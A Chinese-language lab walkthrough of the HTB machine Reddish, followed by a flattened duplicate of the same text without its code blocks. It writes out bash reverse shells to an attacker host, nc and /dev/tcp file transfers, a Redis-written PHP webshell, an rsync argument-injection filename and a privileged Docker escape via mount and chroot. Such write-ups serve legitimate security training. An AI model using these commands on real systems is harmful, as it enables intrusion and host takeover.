通过HTB靶机学习恶劣容器的内网环境下如何内网渗透
字数 1450 2025-08-22 12:23:06

HTB靶机Reddish内网渗透与Docker逃逸实战指南

靶机概述

Reddish是HTB平台上的一台复杂靶机,涉及多个网段和Docker容器之间的横向移动,最终需要通过特权容器逃逸获取完整权限。本靶机主要考察以下技术点:

  • Node-RED远程代码执行漏洞利用
  • Docker容器横向移动技术
  • Redis未授权访问漏洞利用
  • 恶劣环境下的文件传输与反弹Shell技术
  • 特权容器逃逸技术

信息收集阶段

初始扫描

  • 目标IP: 10.10.10.94
  • 开放端口: 1880 (Node-RED服务)
  • 服务识别: Mongo-Express, Node.js

外围打点 - Node-RED RCE漏洞利用

  1. 访问目标1880端口,发现Node-RED界面
  2. 通过POST请求探测发现功能端点
  3. 利用Node-RED的inject和exec节点实现RCE
    • 参考漏洞: https://quentinkaiser.be/pentesting/2018/09/07/node-red-rce/
  4. 构造payload反弹Shell:
    bash -i >& /dev/tcp/攻击机IP/端口 0>&1
    
  5. 成功获取初始立足点(172.18.0.2/172.19.0.4)

后渗透阶段

Docker环境确认

  • 检查根目录存在.dockerenv文件
  • 确认当前处于Docker容器环境

内网探测

发现两个内网网段:

  • 172.18.0.0/16
  • 172.19.0.0/16

恶劣环境下的扫描技术

  1. 使用portscan.sh脚本进行初步扫描
  2. 发现关键服务:
    • 172.19.0.3:80 (Web服务)
    • 172.19.0.2:6379 (Redis)

文件传输技术(恶劣环境下)

方法1: 攻击机nc+靶机bash

# 攻击机
nc -lvp 4444 < rustscan

# 靶机
cat > rustscan < /dev/tcp/攻击机IP/4444

方法2: Base64编码传递

  1. 使用在线工具将文件编码为Base64
  2. 在目标机解码:
    echo "BASE64编码" | base64 -d > 文件名
    

方法3: 纯bash脚本+入口机web服务

function __curl() {
  read proto server path <<<$(echo ${1//// })
  DOC=/${path// //}
  HOST=${server//:*}
  PORT=${server//*:}
  [[ x"${HOST}" == x"${PORT}" ]] && PORT=80

  exec 3<>/dev/tcp/${HOST}/$PORT
  echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
  (while read line; do
   [[ "$line" == $'\r' ]] && break
  done && cat) <&3
  exec 3>&-
}

Redis漏洞利用(172.19.0.2)

  1. 确认Redis未授权访问(版本4.0.9)
  2. 写Webshell到共享目录:
    redis-cli -h 172.19.0.2
    config set dir /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
    config set dbfilename shell.php
    set x "<?php system($_GET['cmd']); ?>"
    save
    
  3. 通过SSRF+Redis组合攻击

Rsync提权(172.19.0.3)

  1. 发现定时任务使用rsync备份.rdb文件
  2. 创建恶意文件实现提权:
    # 创建反弹Shell脚本
    echo 'bash -i >& /dev/tcp/172.19.0.4/4444 0>&1' > shell.rdb
    
    # 或者创建特殊文件名
    touch '--rsync-command=sh shell.rdb'
    
  3. 成功获取root权限并读取第一段flag

Docker特权容器逃逸(backup宿主机)

  1. 确认特权容器:
    cat /proc/self/status | grep CapEff
    
  2. 挂载宿主机根目录实现逃逸:
    mkdir /mnt/host
    mount /dev/sda1 /mnt/host
    chroot /mnt/host
    
  3. 成功获取宿主机完整权限

关键知识点总结

  1. Node-RED RCE: 利用可视化编程界面的功能节点实现命令执行
  2. 恶劣环境渗透: 多种文件传输方法适应不同限制条件
  3. Redis利用: 写Webshell、SSRF组合攻击、Redis-Rogue-Server技术
  4. Rsync提权: 利用定时任务和通配符特性实现权限提升
  5. Docker逃逸: 特权容器挂载宿主机文件系统实现逃逸

参考资源

  1. 官方Writeup: https://www.c1trus.top/37-靶机wp/4-htb/tracks/1-htb-8-year-birthday/2.reddish.html
  2. Node-RED RCE: https://quentinkaiser.be/pentesting/2018/09/07/node-red-rce/
  3. Docker逃逸指南: https://blog.mo60.cn/index.php/archives/645.html

通过本靶机的实战演练,可以全面掌握内网渗透中常见的Docker环境突破技术,特别是恶劣条件下的生存和横向移动技巧。

HTB靶机Reddish内网渗透与Docker逃逸实战指南 靶机概述 Reddish是HTB平台上的一台复杂靶机,涉及多个网段和Docker容器之间的横向移动,最终需要通过特权容器逃逸获取完整权限。本靶机主要考察以下技术点: Node-RED远程代码执行漏洞利用 Docker容器横向移动技术 Redis未授权访问漏洞利用 恶劣环境下的文件传输与反弹Shell技术 特权容器逃逸技术 信息收集阶段 初始扫描 目标IP: 10.10.10.94 开放端口: 1880 (Node-RED服务) 服务识别: Mongo-Express, Node.js 外围打点 - Node-RED RCE漏洞利用 访问目标1880端口,发现Node-RED界面 通过POST请求探测发现功能端点 利用Node-RED的inject和exec节点实现RCE 参考漏洞: https://quentinkaiser.be/pentesting/2018/09/07/node-red-rce/ 构造payload反弹Shell: 成功获取初始立足点(172.18.0.2/172.19.0.4) 后渗透阶段 Docker环境确认 检查根目录存在 .dockerenv 文件 确认当前处于Docker容器环境 内网探测 发现两个内网网段: 172.18.0.0/16 172.19.0.0/16 恶劣环境下的扫描技术 使用portscan.sh脚本进行初步扫描 发现关键服务: 172.19.0.3:80 (Web服务) 172.19.0.2:6379 (Redis) 文件传输技术(恶劣环境下) 方法1: 攻击机nc+靶机bash 方法2: Base64编码传递 使用在线工具将文件编码为Base64 在目标机解码: 方法3: 纯bash脚本+入口机web服务 Redis漏洞利用(172.19.0.2) 确认Redis未授权访问(版本4.0.9) 写Webshell到共享目录: 通过SSRF+Redis组合攻击 Rsync提权(172.19.0.3) 发现定时任务使用rsync备份.rdb文件 创建恶意文件实现提权: 成功获取root权限并读取第一段flag Docker特权容器逃逸(backup宿主机) 确认特权容器: 挂载宿主机根目录实现逃逸: 成功获取宿主机完整权限 关键知识点总结 Node-RED RCE : 利用可视化编程界面的功能节点实现命令执行 恶劣环境渗透 : 多种文件传输方法适应不同限制条件 Redis利用 : 写Webshell、SSRF组合攻击、Redis-Rogue-Server技术 Rsync提权 : 利用定时任务和通配符特性实现权限提升 Docker逃逸 : 特权容器挂载宿主机文件系统实现逃逸 参考资源 官方Writeup: https://www.c1trus.top/37-靶机wp/4-htb/tracks/1-htb-8-year-birthday/2.reddish.html Node-RED RCE: https://quentinkaiser.be/pentesting/2018/09/07/node-red-rce/ Docker逃逸指南: https://blog.mo60.cn/index.php/archives/645.html 通过本靶机的实战演练,可以全面掌握内网渗透中常见的Docker环境突破技术,特别是恶劣条件下的生存和横向移动技巧。